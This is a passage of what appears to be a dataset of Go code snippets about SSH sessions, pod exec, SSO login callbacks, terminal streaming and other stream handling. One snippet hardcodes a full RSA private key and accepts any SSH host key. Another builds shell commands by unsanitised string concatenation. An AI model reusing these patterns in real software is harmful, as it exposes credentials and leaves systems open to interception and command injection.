pod.\n\tif len(containerName) == 0 {\n\t\tcontainerName = pod.Spec.Containers[0].Name\n\t}\n\n\t// Prepare the API URL used to execute another process within the Pod.\n\t// In this case, we'll run a remote shell.\n\treq := h.restClient.Post().\n\t\tNamespace(h.namespace).\n\t\tResource(\"pods\").\n\t\tName(podName).\n\t\tSubResource(\"exec\").\n\t\tVersionedParams(&corev1.PodExecOptions{\n\t\t\tContainer: containerName,\n\t\t\tCommand: command,\n\t\t\tStdin: true,\n\t\t\tStdout: true,\n\t\t\tStderr: true,\n\t\t\tTTY: false,\n\t\t}, scheme.ParameterCodec)\n\n\texecutor, err := remotecommand.NewSPDYExecutor(h.config, \"POST\", req.URL())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Connect the process std(in,out,err) to the remote shell process.\n\treturn executor.Stream(remotecommand.StreamOptions{\n\t\tStdin: stdin,\n\t\tStdout: stdout,\n\t\tStderr: stderr,\n\t\tTty: false,\n\t})\n}","func (client *NativeClient) Shell(args ...string) error {\n\tvar (\n\t\ttermWidth, termHeight = 80, 24\n\t)\n\tconn, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", client.Hostname, client.Port), &client.Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer session.Close()\n\n\tsession.Stdout = os.Stdout\n\tsession.Stderr = os.Stderr\n\tsession.Stdin = os.Stdin\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 1,\n\t}\n\n\tfd := os.Stdin.Fd()\n\n\tif term.IsTerminal(fd) {\n\t\toldState, err := term.MakeRaw(fd)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdefer term.RestoreTerminal(fd, oldState)\n\n\t\twinsize, err := term.GetWinsize(fd)\n\t\tif err == nil {\n\t\t\ttermWidth = int(winsize.Width)\n\t\t\ttermHeight = int(winsize.Height)\n\t\t}\n\t}\n\n\tif err := session.RequestPty(\"xterm\", termHeight, termWidth, modes); err != nil {\n\t\treturn err\n\t}\n\n\tif len(args) == 0 {\n\t\tif err := session.Shell(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// monitor for sigwinch\n\t\tgo monWinCh(session, os.Stdout.Fd())\n\n\t\tsession.Wait()\n\t} else {\n\t\tsession.Run(strings.Join(args, \" \"))\n\t}\n\n\treturn nil\n}","func SSHAgentSSOLogin(proxyAddr, connectorID string, pubKey []byte, ttl time.Duration, insecure bool, pool *x509.CertPool, protocol string, compatibility string) (*auth.SSHLoginResponse, error) {\n\tclt, proxyURL, err := initClient(proxyAddr, insecure, pool)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\t// create one time encoding secret that we will use to verify\n\t// callback from proxy that is received over untrusted channel (HTTP)\n\tkeyBytes, err := secret.NewKey()\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tdecryptor, err := secret.New(&secret.Config{KeyBytes: keyBytes})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\twaitC := make(chan *auth.SSHLoginResponse, 1)\n\terrorC := make(chan error, 1)\n\tproxyURL.Path = \"/web/msg/error/login_failed\"\n\tredirectErrorURL := proxyURL.String()\n\tproxyURL.Path = \"/web/msg/info/login_success\"\n\tredirectSuccessURL := proxyURL.String()\n\n\tmakeHandler := func(fn func(http.ResponseWriter, *http.Request) (*auth.SSHLoginResponse, error)) http.Handler {\n\t\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tresponse, err := fn(w, r)\n\t\t\tif err != nil {\n\t\t\t\tif trace.IsNotFound(err) {\n\t\t\t\t\thttp.NotFound(w, r)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\terrorC <- err\n\t\t\t\thttp.Redirect(w, r, redirectErrorURL, http.StatusFound)\n\t\t\t\treturn\n\t\t\t}\n\t\t\twaitC <- response\n\t\t\thttp.Redirect(w, r, redirectSuccessURL, http.StatusFound)\n\t\t})\n\t}\n\n\tserver := httptest.NewServer(makeHandler(func(w http.ResponseWriter, r *http.Request) (*auth.SSHLoginResponse, error) {\n\t\tif r.URL.Path != \"/callback\" {\n\t\t\treturn nil, trace.NotFound(\"path not found\")\n\t\t}\n\t\tencrypted := r.URL.Query().Get(\"response\")\n\t\tif encrypted == \"\" {\n\t\t\treturn nil, trace.BadParameter(\"missing required query parameters in %v\", r.URL.String())\n\t\t}\n\n\t\tvar encryptedData *secret.SealedBytes\n\t\terr := json.Unmarshal([]byte(encrypted), &encryptedData)\n\t\tif err != nil {\n\t\t\treturn nil, trace.BadParameter(\"failed to decode response in %v\", r.URL.String())\n\t\t}\n\n\t\tout, err := decryptor.Open(encryptedData)\n\t\tif err != nil {\n\t\t\treturn nil, trace.BadParameter(\"failed to decode response: in %v, err: %v\", r.URL.String(), err)\n\t\t}\n\n\t\tvar re *auth.SSHLoginResponse\n\t\terr = json.Unmarshal([]byte(out), &re)\n\t\tif err != nil {\n\t\t\treturn nil, trace.BadParameter(\"failed to decode response: in %v, err: %v\", r.URL.String(), err)\n\t\t}\n\t\treturn re, nil\n\t}))\n\tdefer server.Close()\n\n\tu, err := url.Parse(server.URL + \"/callback\")\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tquery := u.Query()\n\tquery.Set(\"secret\", secret.KeyToEncodedString(keyBytes))\n\tu.RawQuery = query.Encode()\n\n\tout, err := clt.PostJSON(clt.Endpoint(\"webapi\", protocol, \"login\", \"console\"), SSOLoginConsoleReq{\n\t\tRedirectURL: u.String(),\n\t\tPublicKey: pubKey,\n\t\tCertTTL: ttl,\n\t\tConnectorID: connectorID,\n\t\tCompatibility: compatibility,\n\t})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tvar re *SSOLoginConsoleResponse\n\terr = json.Unmarshal(out.Bytes(), &re)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tfmt.Printf(\"If browser window does not open automatically, open it by clicking on the link:\\n %v\\n\", re.RedirectURL)\n\n\tvar command = \"sensible-browser\"\n\tif runtime.GOOS == \"darwin\" {\n\t\tcommand = \"open\"\n\t}\n\tpath, err := exec.LookPath(command)\n\tif err == nil {\n\t\texec.Command(path, re.RedirectURL).Start()\n\t}\n\n\tlog.Infof(\"waiting for response on %v\", server.URL)\n\n\tselect {\n\tcase err := <-errorC:\n\t\tlog.Debugf(\"got error: %v\", err)\n\t\treturn nil, trace.Wrap(err)\n\tcase response := <-waitC:\n\t\tlog.Debugf(\"got response\")\n\t\treturn response, nil\n\tcase <-time.After(60 * time.Second):\n\t\tlog.Debugf(\"got timeout waiting for callback\")\n\t\treturn nil, trace.Wrap(trace.Errorf(\"timeout waiting for callback\"))\n\t}\n}","func (sc *SSHClient) InteractiveCommand(cmd string) error {\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tin, err := session.StdinPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(out, in)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo processOut(outerr, in)\n\terr = session.Shell()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Fprintf(in, \"%s\\n\", cmd)\n\treturn session.Wait()\n}","func syncIO(session *ssh.Session, client *ssh.Client, conn *websocket.Conn) {\n go func(*ssh.Session, *ssh.Client, *websocket.Conn) {\n sessionReader, err := session.StdoutPipe()\n if err != nil {\n log.Fatal(err)\n }\n log.Println(\"======================== Sync session output ======================\")\n defer func() {\n log.Println(\"======================== output: end ======================\")\n conn.Close()\n client.Close()\n session.Close()\n }()\n\n for {\n // set io.Writer of websocket\n outbuf := make([]byte, 8192)\n outn, err := sessionReader.Read(outbuf)\n if err != nil {\n log.Println(\"sshReader: \", err)\n return\n }\n// fmt.Fprint(os.Stdout, string(outbuf[:outn]))\n err = conn.WriteMessage(websocket.TextMessage, outbuf[:outn])\n if err != nil {\n log.Println(\"connWriter: \", err)\n return\n }\n }\n }(session, client, conn)\n\n go func(*ssh.Session, *ssh.Client, *websocket.Conn) {\n sessionWriter, err := session.StdinPipe()\n if err != nil {\n log.Fatal(err)\n }\n\n log.Println(\"======================== Sync session input ======================\")\n defer func() {\n log.Println(\"======================== input: end ======================\")\n conn.Close()\n client.Close()\n session.Close()\n }()\n\n for {\n // set up io.Reader of websocket\n _, reader, err := conn.NextReader()\n if err != nil {\n log.Println(\"connReaderCreator: \", err)\n return\n }\n\n dataTypeBuf := make([]byte, 1)\n _, err = reader.Read(dataTypeBuf)\n if err != nil {\n log.Print(err)\n return\n }\n\n buf := make([]byte, 1024)\n n, err := reader.Read(buf)\n if err != nil {\n log.Print(err)\n return\n }\n\n switch dataTypeBuf[0] {\n // when pass data\n case '1':\n _, err = sessionWriter.Write(buf[:n])\n if err != nil {\n log.Print(err)\n conn.WriteMessage(websocket.TextMessage, []byte(err.Error()))\n return\n }\n // when resize terminal\n case '0':\n resizeMessage := WindowSize{}\n err = json.Unmarshal(buf[:n], &resizeMessage)\n if err != nil {\n log.Print(err.Error())\n continue\n }\n err = session.WindowChange(resizeMessage.Height, resizeMessage.Width)\n if err != nil {\n log.Print(err.Error())\n conn.WriteMessage(websocket.TextMessage, []byte(err.Error()))\n return\n }\n // unexpected data\n default:\n log.Print(\"Unexpected data type\")\n }\n }\n }(session, client, conn)\n}","func Connect(cmd *cobra.Command) (radio.Connector, error) {\n\tif cmd == nil {\n\t\treturn nil, errors.New(\"no cobra command given\")\n\t}\n\tconnector := connector{\n\t\tcmd: cmd,\n\t}\n\n\treturn &connector, nil\n}","func testCommand(t *testing.T, client ssh.Client, command string) error {\n\t// To avoid mixing the output streams of multiple commands running in\n\t// parallel tests, we combine stdout and stderr on the remote host, and\n\t// capture stdout and write it to the test log here.\n\tstdout := new(bytes.Buffer)\n\tif err := client.Run(command+\" 2>&1\", stdout, os.Stderr); err != nil {\n\t\tt.Logf(\"`%s` failed with %v:\\n%s\", command, err, stdout.String())\n\t\treturn err\n\t}\n\treturn nil\n}","func (s *p4RuntimeServer) StreamChannel(stream p4.P4Runtime_StreamChannelServer) error {\n\tfmt.Println(\"Starting bi-directional channel\")\n\tfor {\n\t\tinData, err := stream.Recv()\n\t\tif err == io.EOF {\n\t\t\treturn nil\n\t\t}\n\t\tfmt.Printf(\"%v\", inData)\n\t}\n\n\treturn nil\n}","func (s krpcServer) ChainStream(interceptors ...grpc.StreamServerInterceptor) grpc.ServerOption {\n\treturn grpc.ChainStreamInterceptor(interceptors...)\n}","func (s *BaseAspidaListener) EnterConnectionSSH(ctx *ConnectionSSHContext) {}","func (c *Client) Run(ctx context.Context, cmds []*Command) error {\n\turl := c.Host + \":\" + c.Port\n\tclient, err := ssh.Dial(\"tcp\", url, c.Sshconfig)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in ssh.Dial to %v %w\", url, err)\n\t}\n\n\tdefer client.Close()\n\tsession, err := client.NewSession()\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in client.NewSession to %v %w\", url, err)\n\t}\n\tdefer session.Close()\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // disable echoing\n\t\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\n\t}\n\n\tif err := session.RequestPty(\"xterm\", 80, 40, modes); err != nil {\n\t\treturn fmt.Errorf(\"error in session.RequestPty to %v %w\", url, err)\n\t}\n\n\tw, err := session.StdinPipe()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in session.StdinPipe to %v %w\", url, err)\n\t}\n\tr, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in session.StdoutPipe to %v %w\", url, err)\n\t}\n\tin, out := listener(w, r, c.Prompt)\n\tif err := session.Start(\"/bin/sh\"); err != nil {\n\t\treturn fmt.Errorf(\"error in session.Start to %v %w\", url, err)\n\t}\n\n\t<-out // ignore login output\n\tfor _, cmd := range cmds {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn errors.New(\"canceled by context\")\n\n\t\tdefault:\n\t\t\tlogf(cmd.OutputLevel, \"[%v]: cmd [%v] starting...\", c.Host, cmd.Input)\n\n\t\t\tin <- cmd\n\t\t\terr := cmd.wait(ctx, out)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"[%v]: Error in cmd [%v] at waiting %w\", c.Host, cmd.Input, err)\n\t\t\t}\n\n\t\t\tif outputs, ok := cmd.output(); ok {\n\t\t\t\tfor _, output := range outputs {\n\t\t\t\t\tfmt.Println(output)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdoNext, err := cmd.Callback(cmd)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"[%v]: Error in cmd [%v] Callback %w\", c.Host, cmd.Input, err)\n\t\t\t}\n\n\t\t\tif doNext && cmd.NextCommand != nil {\n\t\t\t\tnextCmd := cmd.NextCommand(cmd)\n\n\t\t\t\tlogf(nextCmd.OutputLevel, \"[%v]: next cmd [%v] starting...\", c.Host, nextCmd.Input)\n\n\t\t\t\tin <- nextCmd\n\t\t\t\terr = nextCmd.wait(ctx, out)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"[%v]: Error in next cmd [%v] at waiting %w\", c.Host, cmd.Input, err)\n\t\t\t\t}\n\n\t\t\t\tif outputs, ok := nextCmd.output(); ok {\n\t\t\t\t\tfor _, output := range outputs {\n\t\t\t\t\t\tfmt.Println(output)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t_, err := nextCmd.Callback(nextCmd)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"[%v]: Error in next cmd [%v] Callback %w\", c.Host, nextCmd.Input, err)\n\t\t\t\t}\n\n\t\t\t\tlogf(nextCmd.OutputLevel, \"[%v]: next cmd [%v] done\", c.Host, nextCmd.Input)\n\n\t\t\t}\n\n\t\t\tlogf(cmd.OutputLevel, \"[%v]: cmd [%v] done\", c.Host, cmd.Input)\n\t\t}\n\t}\n\tsession.Close()\n\n\treturn nil\n}","func newStream(id uint32, frameSize int, sess *Session) *Stream {\n\ts := new(Stream)\n\ts.id = id\n\ts.chReadEvent = make(chan struct{}, 1)\n\ts.frameSize = frameSize\n\ts.sess = sess\n\ts.die = make(chan struct{})\n\treturn s\n}","func (cfg *Config) StartStream() (*Stream, error) {\n\tif err := cfg.createCmd(); err != nil {\n\t\treturn nil, err\n\t}\n\tpt, err := pty.Start(cfg.cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstr := &Stream{\n\t\tcmd: cfg.cmd,\n\n\t\tpmu: sync.Mutex{},\n\t\tpt: pt,\n\n\t\twg: sync.WaitGroup{},\n\t\trmu: sync.RWMutex{},\n\n\t\t// pre-allocate\n\t\tqueue: make([]Row, 0, 500),\n\t\tpid2Row: make(map[int64]Row, 500),\n\t\terr: nil,\n\t\terrc: make(chan error, 1),\n\n\t\tready: false,\n\t\treadyc: make(chan struct{}, 1),\n\t}\n\tstr.rcond = sync.NewCond(&str.rmu)\n\n\tstr.wg.Add(1)\n\tgo str.enqueue()\n\tgo str.dequeue()\n\n\t<-str.readyc\n\treturn str, nil\n}","func teeSSHStart(s *ssh.Session, cmd string, outB io.Writer, errB io.Writer, wg *sync.WaitGroup) error {\n\toutPipe, err := s.StdoutPipe()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"stdout\")\n\t}\n\n\terrPipe, err := s.StderrPipe()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"stderr\")\n\t}\n\n\tgo func() {\n\t\tif err := teePrefix(ErrPrefix, errPipe, errB, klog.V(8).Infof); err != nil {\n\t\t\tklog.Errorf(\"tee stderr: %v\", err)\n\t\t}\n\t\twg.Done()\n\t}()\n\tgo func() {\n\t\tif err := teePrefix(OutPrefix, outPipe, outB, klog.V(8).Infof); err != nil {\n\t\t\tklog.Errorf(\"tee stdout: %v\", err)\n\t\t}\n\t\twg.Done()\n\t}()\n\n\treturn s.Start(cmd)\n}","func main() {\n\tprintln(\"ENTER THE ADDRESS TO CONNECT (ex: \\\"185.20.227.83:22\\\"):\") //185.20.227.83:22\n\tline, _, _ := bufio.NewReader(os.Stdin).ReadLine()\n\taddr := string(line)\n\tprintln(\"CHOOSE A CONNECTION METHOD \\\"PASSWORD\\\" OR \\\"KEY\\\" (ex: \\\"PASSWORD\\\"):\")\n\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\tconnMethod := string(line)\n\n\tvar config *ssh.ClientConfig\n\tif connMethod == \"PASSWORD\" {\n\t\tconfig = getConfigWithPass()\n\t} else if connMethod == \"KEY\" {\n\t\tconfig = getConfigWithKey()\n\t} else {\n\t\tlog.Fatal(\"INCORRECT METHOD\")\n\t\treturn\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", addr, config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tprintln(\"ENTER \\\"EXIT\\\" TO QUIT\")\n\tfor {\n\t\tfmt.Println(\"ENTER THE COMMAND:\")\n\t\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\t\tcommand := string(line)\n\t\tfmt.Println(\"YOUR COMMAND:\", command)\n\t\tif command == \"EXIT\" {\n\t\t\tbreak\n\t\t}\n\t\tsendCommandToServer(client, command)\n\t}\n}","func copyConnect(user, host string, port int) (*sftp.Client, error) {\n\tvar (\n\t\tauth \t\t\t[]ssh.AuthMethod\n\t\taddr \t\t\tstring\n\t\tclientConfig \t*ssh.ClientConfig\n\t\tsshClient \t\t*ssh.Client\n\t\tsftpClient \t\t*sftp.Client\n\t\terr \t\t\terror\n\t)\n\tauth = make([]ssh.AuthMethod, 0)\n\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\t// fmt.Println(\"Unable to parse test key :\", err)\n\t\treturn nil, err\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: \t\t\t\tuser,\n\t\tAuth: \t\t\t\tauth,\n\t\tTimeout: \t\t\t30 * time.Second,\n\t\tHostKeyCallback: \tfunc(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif sshClient, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\n\t\treturn nil, err\n\t}\n\treturn sftpClient, nil\n}","func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\n\tvar b bytes.Buffer // import \"bytes\"\n\n\t// Connect\n\tclient, err := ssh.Dial(\"tcp\", net.JoinHostPort(addr, \"22\"), config)\n\tif err != nil {\n\t\treturn b, err\n\t}\n\t// Create a session. It is one session per command.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn b, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stderr = os.Stderr // get output\n\tsession.Stdout = &b // get output\n\t// you can also pass what gets input to the stdin, allowing you to pipe\n\t// content from client to server\n\t// session.Stdin = bytes.NewBufferString(\"My input\")\n\n\t// Finally, run the command\n\tfullCmd := \". ~/.nix-profile/etc/profile.d/nix.sh && cd \" + workDir + \" && nix-shell \" + nixConf + \" --command '\" + cmd + \"'\"\n\tfmt.Println(fullCmd)\n\terr = session.Run(fullCmd)\n\treturn b, err\n}","func (bc *BaseCluster) SSH(m Machine, cmd string) ([]byte, []byte, error) {\n\tvar stdout bytes.Buffer\n\tvar stderr bytes.Buffer\n\tclient, err := bc.SSHClient(m.IP())\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer client.Close()\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stdout = &stdout\n\tsession.Stderr = &stderr\n\terr = session.Run(cmd)\n\toutBytes := bytes.TrimSpace(stdout.Bytes())\n\terrBytes := bytes.TrimSpace(stderr.Bytes())\n\treturn outBytes, errBytes, err\n}","func NewStream(host core.Host, pid core.PeerID, protoIDs ...core.ProtocolID) (core.Stream, error) {\n\n\tstream, err := host.NewStream(context.Background(), pid, protoIDs...)\n\t// EOF表示底层连接断开, 增加一次重试\n\tif err == io.EOF {\n\t\tlog.Debug(\"NewStream\", \"msg\", \"RetryConnectEOF\")\n\t\tstream, err = host.NewStream(context.Background(), pid, protoIDs...)\n\t}\n\tif err != nil {\n\t\tlog.Error(\"NewStream\", \"pid\", pid.Pretty(), \"msgID\", protoIDs, \" err\", err)\n\t\treturn nil, err\n\t}\n\treturn stream, nil\n}","func (agent *Agent) OpenStream(vbId uint16, flags DcpStreamAddFlag, vbUuid VbUuid, startSeqNo,\n\tendSeqNo, snapStartSeqNo, snapEndSeqNo SeqNo, evtHandler StreamObserver, filter *StreamFilter, cb OpenStreamCallback) (PendingOp, error) {\n\tvar req *memdQRequest\n\thandler := func(resp *memdQResponse, _ *memdQRequest, err error) {\n\t\tif resp != nil && resp.Magic == resMagic {\n\t\t\t// This is the response to the open stream request.\n\t\t\tif err != nil {\n\t\t\t\treq.Cancel()\n\n\t\t\t\t// All client errors are handled by the StreamObserver\n\t\t\t\tcb(nil, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tnumEntries := len(resp.Value) / 16\n\t\t\tentries := make([]FailoverEntry, numEntries)\n\t\t\tfor i := 0; i < numEntries; i++ {\n\t\t\t\tentries[i] = FailoverEntry{\n\t\t\t\t\tVbUuid: VbUuid(binary.BigEndian.Uint64(resp.Value[i*16+0:])),\n\t\t\t\t\tSeqNo: SeqNo(binary.BigEndian.Uint64(resp.Value[i*16+8:])),\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcb(entries, nil)\n\t\t\treturn\n\t\t}\n\n\t\tif err != nil {\n\t\t\treq.Cancel()\n\t\t\tstreamId := noStreamId\n\t\t\tif filter != nil {\n\t\t\t\tstreamId = filter.StreamId\n\t\t\t}\n\t\t\tevtHandler.End(vbId, streamId, err)\n\t\t\treturn\n\t\t}\n\n\t\t// This is one of the stream events\n\t\tswitch resp.Opcode {\n\t\tcase cmdDcpSnapshotMarker:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tnewStartSeqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\tnewEndSeqNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tsnapshotType := binary.BigEndian.Uint32(resp.Extras[16:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.SnapshotMarker(newStartSeqNo, newEndSeqNo, vbId, streamId, SnapshotState(snapshotType))\n\t\tcase cmdDcpMutation:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tflags := binary.BigEndian.Uint32(resp.Extras[16:])\n\t\t\texpiry := binary.BigEndian.Uint32(resp.Extras[20:])\n\t\t\tlockTime := binary.BigEndian.Uint32(resp.Extras[24:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.Mutation(seqNo, revNo, flags, expiry, lockTime, resp.Cas, resp.Datatype, vbId, resp.CollectionID, streamId, resp.Key, resp.Value)\n\t\tcase cmdDcpDeletion:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.Deletion(seqNo, revNo, resp.Cas, resp.Datatype, vbId, resp.CollectionID, streamId, resp.Key, resp.Value)\n\t\tcase cmdDcpExpiration:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\trevNo := binary.BigEndian.Uint64(resp.Extras[8:])\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\t\t\tevtHandler.Expiration(seqNo, revNo, resp.Cas, vbId, resp.CollectionID, streamId, resp.Key)\n\t\tcase cmdDcpEvent:\n\t\t\tvbId := uint16(resp.Vbucket)\n\t\t\tseqNo := binary.BigEndian.Uint64(resp.Extras[0:])\n\t\t\teventCode := StreamEventCode(binary.BigEndian.Uint32(resp.Extras[8:]))\n\t\t\tversion := resp.Extras[12]\n\t\t\tvar streamId uint16\n\t\t\tif resp.FrameExtras != nil && resp.FrameExtras.HasStreamId {\n\t\t\t\tstreamId = resp.FrameExtras.StreamId\n\t\t\t}\n\n\t\t\tswitch eventCode {\n\t\t\tcase StreamEventCollectionCreate:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tcollectionId := binary.BigEndian.Uint32(resp.Value[12:])\n\t\t\t\tvar ttl uint32\n\t\t\t\tif version == 1 {\n\t\t\t\t\tttl = binary.BigEndian.Uint32(resp.Value[16:])\n\t\t\t\t}\n\t\t\t\tevtHandler.CreateCollection(seqNo, version, vbId, manifestUid, scopeId, collectionId, ttl, streamId, resp.Key)\n\t\t\tcase StreamEventCollectionDelete:\n\t\t\t\tmanifestUid := binary.BigEndian.Uint64(resp.Value[0:])\n\t\t\t\tscopeId := binary.BigEndian.Uint32(resp.Value[8:])\n\t\t\t\tcollectionId := 